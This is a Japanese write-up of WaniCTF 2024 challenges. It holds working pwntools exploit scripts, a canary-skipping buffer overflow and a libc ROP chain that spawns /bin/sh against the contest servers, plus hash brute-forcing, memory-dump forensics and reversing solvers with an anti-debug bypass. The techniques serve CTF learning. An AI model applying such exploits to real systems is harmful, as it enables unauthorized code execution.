初めに
SOCの仲間3名でWaniCTF 2024に参加しました。
自分が解いた問題のWriteupになります。
ほぼRevとPwnの内容になると思います。
Pwnable
do_not_rewrite
バイナリが渡されます。
ソースも渡されるので中身をみます。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
double calories_per_gram;
double amount_in_grams;
char name[50];
} Ingredient;
void init(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(180);
}
void show_flag(){
printf("\nExcellent!\n");
system("cat FLAG");
}
double calculate_total_calories(Ingredient ingredients[], int num_ingredients) {
double total_calories = 0.0;
for (int i = 0; i < num_ingredients; i++) {
total_calories += ingredients[i].calories_per_gram * ingredients[i].amount_in_grams;
}
return total_calories;
}
int main() {
init();
Ingredient ingredients[3];
printf("hint: show_flag = %p\n", (void *)show_flag);
for (int i = 0; i <= 3; i++) {
printf("\nEnter the name of ingredient %d: ", i + 1);
scanf("%s", ingredients[i].name);
printf("Enter the calories per gram for %s: ", ingredients[i].name);
scanf("%lf", &ingredients[i].calories_per_gram);
printf("Enter the amount in grams for %s: ", ingredients[i].name);
scanf("%lf", &ingredients[i].amount_in_grams);
}
double total_calories = calculate_total_calories(ingredients, 3);
printf("\nTotal calories for the meal: %.2f kcal\n", total_calories);
return 0;
}
ぱっと見name[50]
にバッファオーバーフローがあるのが分かります。RIPをshow_flag()
にすれば良さそうです。
機構を確認します。
CanaryがいるのでCanaryBypassがいります。
実際に実行してみます。
show_flagのメモリ位置が見えるのでAddressは分かるのですが、普通に実行しただけでCanaryに引っかかってます。
Ghidraで見たところ、caloriesやamountのStackで引っかかってそう。
一番最初に思いつくBypassする方法はprintfを利用してname
と一緒にCanaryも表示させるCanaryのリークですが、今回getsなどではなくscanfを利用しているので末尾に\x00
が追加され、Canaryリークできません。
以下200文字のa
を入力した際。0x7fffffffe0e8
のアドレスにあるCanaryが見えます。
次は201文字。Canaryが変わってるのは別の実行機会のものだからです。末尾にa(\x61
)と\x00
があるのが分かります。
なのでCanaryを別の方法でBypassする必要があります。
以下の箇所に注目します。
scanf("%lf", &ingredients[i].calories_per_gram)
double型を利用しているのでここに文字列を入れ込んで次の処理へスキップさせます。
そうすると次のStructの設定に飛ぶことが可能です。
リターンアドレスに関してはingredient 4
の部分の書き込みで制御できます。
後はコーディングをしてshow_flagに飛ばすだけですが、64bitバイナリでよくあるStackのバイト調整のためにret
命令を挟む必要があります。show_flagのアドレスが判明しているので相対アドレスは変わらないことを考え、retのアドレス調整をします。
ret = show_flag + (0x0000555555555527 - 0x000055555555525f)
# 0x0000555555555527 ret local
# 0x000055555555525f show_flag local
Solverは以下のようになりました。
from pwn import *
context.log_level = "debug"
binfile = './chall'
rhost = 'chal-lz56g6.wanictf.org'
rport = 9004
elf = ELF(binfile)
context.binary = elf
p = remote(rhost, rport)
p.recvuntil(b'show_flag = ')
show_flag = int(p.recvline()[:-1].decode(), 16)
print('win', hex(show_flag))
ret = show_flag + (0x0000555555555527 - 0x000055555555525f)
payload = pack(ret)
payload += pack(show_flag)
p.sendlineafter(b'ingredient 1', b'a'*4)
p.sendlineafter(b'a'*4, b'b'*4)
p.sendlineafter(b'b'*4, b'c'*4)
p.sendlineafter(b'c'*4, payload)
p.sendlineafter(b'ingredient 4: ', b'\x00')
p.interactive()
do_not_rewrite2
ほぼ同じコードが渡されます。
show_flagがなくなったのでROPでShellを取る問題。
printfのアドレスがshow_flagに代わって渡されるのでそのアドレスを元にlibcのアドレスを算出し、ROPするだけでOK。
以下がSolver
from pwn import *
import time
context.log_level = "debug"
binfile = './chall'
libcfile = './libc.so.6'
rhost = 'chal-lz56g6.wanictf.org'
rport = 9005
elf = ELF(binfile)
context.binary = elf
libc = ELF(libcfile)
p = remote(rhost, rport)
p.recvuntil(b'printf = ')
libc_leak = int(p.recvline()[:-1].decode(), 16)
libc.address = libc_leak - (0x7ffff7c600f0-0x00007ffff7c00000)
print('libc', hex(libc.address))
rop = ROP(libc)
rop.execv(next(libc.search(b'/bin/sh\x00')), 0)
p.sendlineafter(b'ingredient 1', b'a'*4)
p.sendlineafter(b'a'*4, b'b'*4)
p.sendlineafter(b'b'*4, b'c'*4)
p.sendlineafter(b'c'*4, rop.chain())
p.sendlineafter(b'ingredient 4: ', b'\x00')
p.interactive()
Web
Bad_Worker
DUMMY.txtの部分をFLAG.txtにしたら出てきた。
Crypto
replacement
以下のテキストファイルとpythonファイルを渡されます。
[265685380796387128074260337556987156845, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 330443362254714811278522520670919771869, 301648155472379285594517050531127483548, 101473043316046160883738884593606957434, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 324787361952219506718126426467652498112,
...省略
from secret import cal
import hashlib
enc = []
for char in cal:
x = ord(char)
x = hashlib.md5(str(x).encode()).hexdigest()
enc.append(int(x, 16))
with open('my_diary_11_8_Wednesday.txt', 'w') as f:
f.write(str(enc))
MD5の値を総当たりで復元できないかなと思ってGitHub Copilot Chatさんにききました。
ありがとうCopilotさん。以下がSolver。
import hashlib
# ハッシュ値のリストをファイルから読み込む
with open('my_diary_11_8_Wednesday.txt', 'r') as f:
enc = eval(f.read())
# ASCII文字の範囲でブルートフォース
original_chars = []
for hash_val in enc:
found = False
for char_code in range(32, 127): # ASCIIの印刷可能文字
test_hash = hashlib.md5(str(char_code).encode()).hexdigest()
if int(test_hash, 16) == hash_val:
original_chars.append(chr(char_code))
found = True
break
if not found:
original_chars.append('?') # 一致するものが見つからない場合はプレースホルダ
# 復元された文字列を表示
print(''.join(original_chars))
Forensics
mem_search
メモリダンプファイルが渡されます。
解析はremnuxさんで行います。
Windowsマシンぽいです。
とりあえず、プロセス見ます。
remnux@remnux:~/Downloads$ vol3 -f chal_mem_search.DUMP windows.pstree
Volatility 3 Framework 2.5.0
Progress: 100.00 PDB scanning finished
PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime
4 0 System 0xcd88c7a97040 168 - N/A False 2024-05-11 09:31:11.000000 N/A
* 72 4 Registry 0xcd88c7a85080 4 - N/A False 2024-05-11 09:31:06.000000 N/A
* 528 4 smss.exe 0xcd88c9ac8040 2 - N/A False 2024-05-11 09:31:11.000000 N/A
* 1812 4 MemCompression 0xcd88c7b25040 46 - N/A False 2024-05-11 09:31:16.000000 N/A
632 624 csrss.exe 0xcd88c946a080 10 - 0 False 2024-05-11 09:31:13.000000 N/A
704 624 wininit.exe 0xcd88cb7d1080 1 - 0 False 2024-05-11 09:31:13.000000 N/A
* 824 704 services.exe 0xcd88cbe3c100 8 - 0 False 2024-05-11 09:31:13.000000 N/A
** 1920 824 svchost.exe 0xcd88cc2ea080 11 - 0 False 2024-05-11 09:31:16.000000 N/A
*** 7652 1920 audiodg.exe 0xcd88cd7240c0 7 - 0 False 2024-05-11 09:33:47.000000 N/A
** 2560 824 MsMpEng.exe 0xcd88cc68a0c0 30 - 0 False 2024-05-11 09:31:18.000000 N/A
** 4100 824 svchost.exe 0xcd88ccb8d080 6 - 0 False 2024-05-11 09:31:30.000000 N/A
** 8 824 svchost.exe 0xcd88cc453080 11 - 0 False 2024-05-11 09:31:17.000000 N/A
** 5776 824 svchost.exe 0xcd88cd740080 11 - 0 False 2024-05-11 09:31:44.000000 N/A
** 2452 824 MpDefenderCore 0xcd88cc5f1080 8 - 0 False 2024-05-11 09:31:18.000000 N/A
** 1176 824 svchost.exe 0xcd88cc048080 16 - 0 False 2024-05-11 09:31:14.000000 N/A
** 2968 824 dllhost.exe 0xcd88cc8550c0 18 - 0 False 2024-05-11 09:31:20.000000 N/A
** 3104 824 dllhost.exe 0xcd88cca5a300 14 - 0 False 2024-05-11 09:31:21.000000 N/A
** 4768 824 NisSrv.exe 0xcd88cd26c080 5 - 0 False 2024-05-11 09:31:36.000000 N/A
** 1956 824 svchost.exe 0xcd88cc2ef080 5 - 0 False 2024-05-11 09:31:16.000000 N/A
** 1704 824 svchost.exe 0xcd88cc1de340 3 - 0 False 2024-05-11 09:31:16.000000 N/A
** 2552 824 vmtoolsd.exe 0xcd88cc626140 11 - 0 False 2024-05-11 09:31:18.000000 N/A
** 1200 824 svchost.exe 0xcd88cc06b300 18 - 0 False 2024-05-11 09:31:14.000000 N/A
*** 2520 1200 dasHost.exe 0xcd88cc55f300 6 - 0 False 2024-05-11 09:31:18.000000 N/A
*** 6636 1200 ctfmon.exe 0xcd88cdd4a240 17 - 1 False 2024-05-11 09:31:56.000000 N/A
*** 6668 1200 TabTip.exe 0xcd88cdbc90c0 8 - 1 False 2024-05-11 09:31:56.000000 N/A
*** 1340 1200 TabTip.exe 0xcd88cde33080 0 - 1 False 2024-05-11 09:33:52.000000 2024-05-11 09:33:52.000000
** 4528 824 VSSVC.exe 0xcd88cd0a5080 4 - 0 False 2024-05-11 09:31:34.000000 N/A
** 1976 824 svchost.exe 0xcd88cc2f2240 4 - 0 False 2024-05-11 09:31:16.000000 N/A
** 568 824 svchost.exe 0xcd88cbf45340 13 - 0 False 2024-05-11 09:31:14.000000 N/A
** 4536 824 svchost.exe 0xcd88ccd71080 5 - 1 False 2024-05-11 09:31:34.000000 N/A
** 1600 824 svchost.exe 0xcd88cc1d8300 16 - 0 False 2024-05-11 09:31:15.000000 N/A
** 1220 824 svchost.exe 0xcd88cc454080 14 - 0 False 2024-05-11 09:31:17.000000 N/A
** 844 824 SecurityHealth 0xcd88cdf46300 15 - 0 False 2024-05-11 09:32:06.000000 N/A
** 976 824 svchost.exe 0xcd88cbe912c0 24 - 0 False 2024-05-11 09:31:13.000000 N/A
*** 6400 976 SkypeApp.exe 0xcd88cd5c9080 14 - 1 False 2024-05-11 09:31:55.000000 N/A
*** 6496 976 backgroundTask 0xcd88cdd46240 11 - 1 False 2024-05-11 09:31:55.000000 N/A
*** 1764 976 dllhost.exe 0xcd88cc983340 5 - 0 False 2024-05-11 09:31:20.000000 N/A
*** 4164 976 WmiPrvSE.exe 0xcd88cd46e300 10 - 0 False 2024-05-11 09:31:39.000000 N/A
*** 5476 976 RuntimeBroker. 0xcd88cd7990c0 14 - 1 False 2024-05-11 09:31:42.000000 N/A
*** 4228 976 TextInputHost. 0xcd88cdd17080 21 - 1 False 2024-05-11 09:31:48.000000 N/A
*** 3912 976 StartMenuExper 0xcd88cd388080 9 - 1 False 2024-05-11 09:31:39.000000 N/A
*** 7036 976 RuntimeBroker. 0xcd88c7b27080 6 - 1 False 2024-05-11 09:31:59.000000 N/A
*** 5196 976 RuntimeBroker. 0xcd88cd546080 3 - 1 False 2024-05-11 09:31:40.000000 N/A
*** 4976 976 TiWorker.exe 0xcd88cd5540c0 3 - 0 False 2024-05-11 09:31:39.000000 N/A
*** 5392 976 SearchApp.exe 0xcd88cd6b60c0 39 - 1 False 2024-05-11 09:31:41.000000 N/A
*** 6264 976 RuntimeBroker. 0xcd88cd29b080 11 - 1 False 2024-05-11 09:32:02.000000 N/A
*** 3028 976 WmiPrvSE.exe 0xcd88cc908300 11 - 0 False 2024-05-11 09:31:20.000000 N/A
*** 5012 976 dllhost.exe 0xcd88cbfe9080 12 - 1 False 2024-05-11 09:32:03.000000 N/A
*** 6484 976 smartscreen.ex 0xcd88cd445080 9 - 1 False 2024-05-11 09:32:06.000000 N/A
*** 6424 976 SkypeBackgroun 0xcd88cd834080 4 - 1 False 2024-05-11 09:31:55.000000 N/A
*** 6460 976 SearchApp.exe 0xcd88cde0c240 14 - 1 False 2024-05-11 09:31:55.000000 N/A
** 1360 824 svchost.exe 0xcd88cc0ce340 25 - 0 False 2024-05-11 09:31:15.000000 N/A
** 1488 824 spoolsv.exe 0xcd88cc413300 7 - 0 False 2024-05-11 09:31:17.000000 N/A
** 2512 824 VGAuthService. 0xcd88cc5dc080 3 - 0 False 2024-05-11 09:31:18.000000 N/A
** 1492 824 svchost.exe 0xcd88cc1cf0c0 24 - 0 False 2024-05-11 09:31:15.000000 N/A
** 856 824 svchost.exe 0xcd88cc984080 4 - 0 False 2024-05-11 09:31:20.000000 N/A
** 2396 824 svchost.exe 0xcd88cc57f080 14 - 0 False 2024-05-11 09:31:18.000000 N/A
** 1632 824 svchost.exe 0xcd88cc4182c0 7 - 0 False 2024-05-11 09:31:17.000000 N/A
** 2912 824 SearchIndexer. 0xcd88cc8592c0 19 - 0 False 2024-05-11 09:31:19.000000 N/A
*** 7600 2912 SearchProtocol 0xcd88ce2800c0 9 - 0 False 2024-05-11 09:33:13.000000 N/A
*** 5164 2912 SearchProtocol 0xcd88ce2ab340 6 - 1 False 2024-05-11 09:33:09.000000 N/A
*** 5716 2912 SearchFilterHo 0xcd88cd26b300 7 - 0 False 2024-05-11 09:33:10.000000 N/A
** 7804 824 SgrmBroker.exe 0xcd88cd0ab2c0 7 - 0 False 2024-05-11 09:33:20.000000 N/A
** 4196 824 msdtc.exe 0xcd88cd028300 12 - 0 False 2024-05-11 09:31:31.000000 N/A
** 1128 824 svchost.exe 0xcd88cc035340 23 - 0 False 2024-05-11 09:31:14.000000 N/A
** 4588 824 TrustedInstall 0xcd88cd3c02c0 4 - 0 False 2024-05-11 09:31:39.000000 N/A
** 1136 824 svchost.exe 0xcd88cc034080 16 - 0 False 2024-05-11 09:31:14.000000 N/A
** 2544 824 vm3dservice.ex 0xcd88cc5af080 3 - 0 False 2024-05-11 09:31:18.000000 N/A
*** 2776 2544 vm3dservice.ex 0xcd88cc6f6280 3 - 1 False 2024-05-11 09:31:19.000000 N/A
** 4084 824 svchost.exe 0xcd88ccb91080 13 - 1 False 2024-05-11 09:31:26.000000 N/A
** 8180 824 svchost.exe 0xcd88cd5a42c0 14 - 0 False 2024-05-11 09:33:21.000000 N/A
** 1144 824 svchost.exe 0xcd88cc038080 73 - 0 False 2024-05-11 09:31:14.000000 N/A
*** 4056 1144 sihost.exe 0xcd88ccb9b300 14 - 1 False 2024-05-11 09:31:26.000000 N/A
**** 6132 4056 msedge.exe 0xcd88cdd1a0c0 0 - 1 False 2024-05-11 09:31:48.000000 2024-05-11 09:31:51.000000
*** 3560 1144 MicrosoftEdgeU 0xcd88ccbcd080 4 - 0 True 2024-05-11 09:31:26.000000 N/A
*** 3488 1144 taskhostw.exe 0xcd88ccbce080 11 - 1 False 2024-05-11 09:31:26.000000 N/A
** 2940 824 svchost.exe 0xcd88cc86b080 28 - 0 False 2024-05-11 09:31:20.000000 N/A
* 832 704 lsass.exe 0xcd88cbe4e080 11 - 0 False 2024-05-11 09:31:13.000000 N/A
* 936 704 fontdrvhost.ex 0xcd88cbe8a0c0 5 - 0 False 2024-05-11 09:31:13.000000 N/A
712 696 csrss.exe 0xcd88cb7d9140 11 - 1 False 2024-05-11 09:31:13.000000 N/A
760 696 winlogon.exe 0xcd88cb7f5080 7 - 1 False 2024-05-11 09:31:13.000000 N/A
* 928 760 fontdrvhost.ex 0xcd88cbe8c1c0 5 - 1 False 2024-05-11 09:31:13.000000 N/A
* 796 760 dwm.exe 0xcd88cbfe8080 16 - 1 False 2024-05-11 09:31:14.000000 N/A
* 2200 760 userinit.exe 0xcd88cc57e2c0 0 - 1 False 2024-05-11 09:31:29.000000 2024-05-11 09:31:59.000000
** 3576 2200 explorer.exe 0xcd88ccb92080 82 - 1 False 2024-05-11 09:31:29.000000 N/A
*** 4416 3576 vmtoolsd.exe 0xcd88cdf48300 9 - 1 False 2024-05-11 09:32:07.000000 N/A
*** 4076 3576 msedge.exe 0xcd88cdf47080 62 - 1 False 2024-05-11 09:32:09.000000 N/A
**** 5760 4076 msedge.exe 0xcd88cdbb2080 16 - 1 False 2024-05-11 09:32:10.000000 N/A
**** 7236 4076 msedge.exe 0xcd88ce247080 15 - 1 False 2024-05-11 09:32:11.000000 N/A
**** 6532 4076 msedge.exe 0xcd88cd080080 14 - 1 False 2024-05-11 09:33:30.000000 N/A
**** 3964 4076 msedge.exe 0xcd88cd408340 14 - 1 False 2024-05-11 09:33:09.000000 N/A
**** 108 4076 msedge.exe 0xcd88ccb9a080 8 - 1 False 2024-05-11 09:33:29.000000 N/A
**** 3700 4076 msedge.exe 0xcd88cd8b6080 8 - 1 False 2024-05-11 09:32:09.000000 N/A
**** 5684 4076 msedge.exe 0xcd88cdbe3340 15 - 1 False 2024-05-11 09:32:09.000000 N/A
**** 4696 4076 msedge.exe 0xcd88cd8ba080 9 - 1 False 2024-05-11 09:32:10.000000 N/A
**** 7292 4076 msedge.exe 0xcd88ce270080 17 - 1 False 2024-05-11 09:32:11.000000 N/A
*** 7372 3576 OneDrive.exe 0xcd88ce276080 29 - 1 False 2024-05-11 09:32:12.000000 N/A
*** 6608 3576 cmd.exe 0xcd88cdf42080 1 - 1 False 2024-05-11 09:32:06.000000 N/A
**** 4264 6608 conhost.exe 0xcd88cdf49080 5 - 1 False 2024-05-11 09:32:06.000000 N/A
*** 5456 3576 notepad.exe 0xcd88ce2ed340 5 - 1 False 2024-05-11 09:33:19.000000 N/A
*** 2704 3576 powershell.exe 0xcd88ce279080 0 - 1 False 2024-05-11 09:33:52.000000 2024-05-11 09:33:56.000000
**** 7844 2704 msedge.exe 0xcd88cd7ac080 0 - 1 True 2024-05-11 09:33:55.000000 2024-05-11 09:33:57.000000
*** 3892 3576 SecurityHealth 0xcd88cdf41080 7 - 1 False 2024-05-11 09:32:06.000000 N/A
remnux@remnux:~/Downloads$
cmd.exe
かpowershell.exe
辺り見ていきたいのとmsedge.exe
がpowershellの子プロセスなので怪しい。しっかり見たほうが良さそう。ここら辺はSOCの目利きですね。
msedge.exe
のメモリダンプをを以下コマンドで抽出します。
vol3 -f chal_mem_search.DUMP windows.memmap --pid 7844 --dump
通信先を雑にgrepで調べます。
remnux@remnux:~/Downloads$ strings pid.7844.dmp | grep http:
それっぽい文字列を見つけたのでこれをBase64デコードします。
Reversing
home
実行ファイルが渡されるので実行してみます。
なんだこれ、Ghidraに食わせます。
getcwd
でディレクトリ判定しているのが見えます。ptrace
でデバック判定もしてそうです。
とりあえずディレクトリ作ってgdbで見ます。
デバッカブロックされました。んじゃこの関数の結果を改ざんします。
0x00005555555559ee
にブレークポイントを打ちます。
rax
に結果が格納されてますが、これを0にします。これでBypassできます。
あとはconstructFlag
を呼んで、Flagを探します。
Thread
実行ファイルが渡されるので実行してみます。
フラグ判定バイナリみたいです。
Ghidraで確認します。
フラグの長さは0x2d
で各フラグ文字に対してFUN_00101289
を実行するスレッドを作成してゴニョニョしたあとにDAT_00104020
の文字列と比較するみたいです。
比較対象はこんな感じ。
FUN_00101289
の中身を確認します。
3で割った余りに対して各処理を順番に実行するといった内容のようです。
1処理だけではなく全て実行します。開始処理の順番が異なります。
こういうのはGDBで追ったほうが分かりやすいので見ることをお勧めします。
後はその順番を逆順で流すだけでいいです。
solverはこうなりました。
param=[0xa8,0x8a,0xbf,0xa5,0x2fd,0x59,0xde,0x24,0x65,0x10f,0xde,0x23,0x15d,0x42,0x2c,0xde,0x09,0x65,0xde,0x51,0xef,0x13f,0x24,0x53,0x15d,0x48,0x53,0xde,0x09,0x53,0x14b,0x24,0x65,0xde,0x36,0x53,0x15d,0x12,0x4a,0x124,0x3f,0x5f,0x14e,0xd5,0x0b]
flag = []
for i in range(len(param)):
if i % 3 == 0:
flag.append(chr(int(((param[i] ^ 0x7f) - 5) / 3)))
elif i % 3 == 1:
flag.append(chr((int(param[i] / 3) ^ 0x7f ) - 5))
elif i % 3 == 2:
flag.append(chr(int((param[i] -5 ) / 3 ) ^ 0x7f))
print(''.join(flag))
gates
実行ファイルを渡されるので実行してみます。
これもフラグ判定バイナリのようです。
Ghidraで確認します。
DAT_0010404
からDAT_0010424c
まで0x10
ごとのメモリ番地に値を受け取り(0x20文字分)、FUN_00101220
の処理を0x100
繰り返すようです。
その後に、フラグのDAT_00104020
と変換した入力DAT_00104e4d
を比較するといったながれですね。
比較対象のDAT_00104020
はこんな感じです。
FUN_00101220
の中身を見てみます。
puVar7
のある部分が3の場合はXORの処理、1か2の場合は足し算の処理、4の場合はスルー(そのままメモリに投入)のような処理をしています。
DAT_00104040
の周りを見ていれば気になるバイトが見えます。DAT_0010424c
です。
ここに何かヒントがありそうなのでGDBを見ます。
適当にFLAGaaaaaaaaaaaaaaaaaaaaaaaaaaaa
とか入れます。
RDXに処理のビット、RAXが参照しているメモリであることが分かります。適当に流しますがビットが0なのでしばらくは何も目立った動きはないです。暫くGDBを回します。
rax
が250
の番地を参照し始めてビットが変わりました。これで1の処理を実行します。
GhidraでいうとDAT_00104250
がビットになってるみたいです。
処理を流します。
rdi
にDAT_0010424d
のバイト0x67
が出現していることが分かります。
恐らくこれとF
の文字を足すと思われます。一応予測値を確認しておきます。
GDBを流します。
rdi
に出てきました。
大体理解できたと思います。DAT_0010424c
のバイト列は以下のような並びになってます。
-
DAT_00104250 + 0x10*num
が処理を判定するビット(0もあります) -
DAT_0010424d + 0x10*num
が入力に対する処理をするときの変数
後はDAT_0010424c
のバイト列を抜き出してSolverを作るだけです。
以下のようになりました。
param_flag=[0x3b,0x09,0xe5,0xae,0x3e,0xf1,0x37,0x81,0xfc,0xa1,0x99,0xae,0xf7,0x62,0x7d,0xf7,0xd0,0xcb,0xa2,0x18,0xcd,0x3e,0x89,0x0d,0xd9,0xdd,0x62,0x29,0x8c,0xf3,0x01,0xec]
param_1_add = [0x67,0xc6,0x69,0x73,0x51,0xff,0x4a,0xec,0x29,0xcd,0xba,0xab,0xf2,0xfb,0xe3,0x46,0x7c,0xc2,0x54,0xf8,0x1b,0xe8,0xe7,0x8d,0x76,0x5a,0x2e,0x63,0x33,0x9f,0xc9,0x9a]
param_3_xor = [0x66,0x32,0x0d,0xb7,0x31,0x58,0xa3,0x5a,0x25,0x5d,0x05,0x17,0x58,0xe9,0x5e,0xd4,0xab,0xb2,0xcd,0xc6,0x9b,0xb4,0x54,0x11,0x0e,0x82,0x74,0x41,0x21,0x3d,0xdc,0x87]
param_2_add = [0x70,0xe9,0x3e,0xa1,0x41,0xe1,0xfc,0x67,0x3e,0x01,0x7e,0x97,0xea,0xdc,0x6b,0x96,0x8f,0x38,0x5c,0x2a,0xec,0xb0,0x3b,0xfb,0x32,0xaf,0x3c,0x54,0xec,0x18,0xdb,0x5c]
def adjust_values(param_flag, param_add):
for i in range(len(param_flag)):
if param_flag[i] - param_add[i] < 0:
param_flag[i] = (param_flag[i] + 0x100) - param_add[i]
else:
param_flag[i] -= param_add[i]
return param_flag
def xor_values(param_flag, param_3_xor):
for i in range(len(param_flag)):
param_flag[i] ^= param_3_xor[i]
return param_flag
adjust_values(param_flag, param_2_add)
xor_values(param_flag, param_3_xor)
adjust_values(param_flag, param_1_add)
flag = []
for i in range(len(param_flag)):
flag.append(chr(param_flag[i]))
print("".join(flag))
最後に
Revのラスボスを解けなかったのは悔しかったですが、とても楽しいCTFでした。
チームには完全初心者も参加していたので楽しい経験になってくれていれば嬉しいです。
運営の皆さんありがとうございました。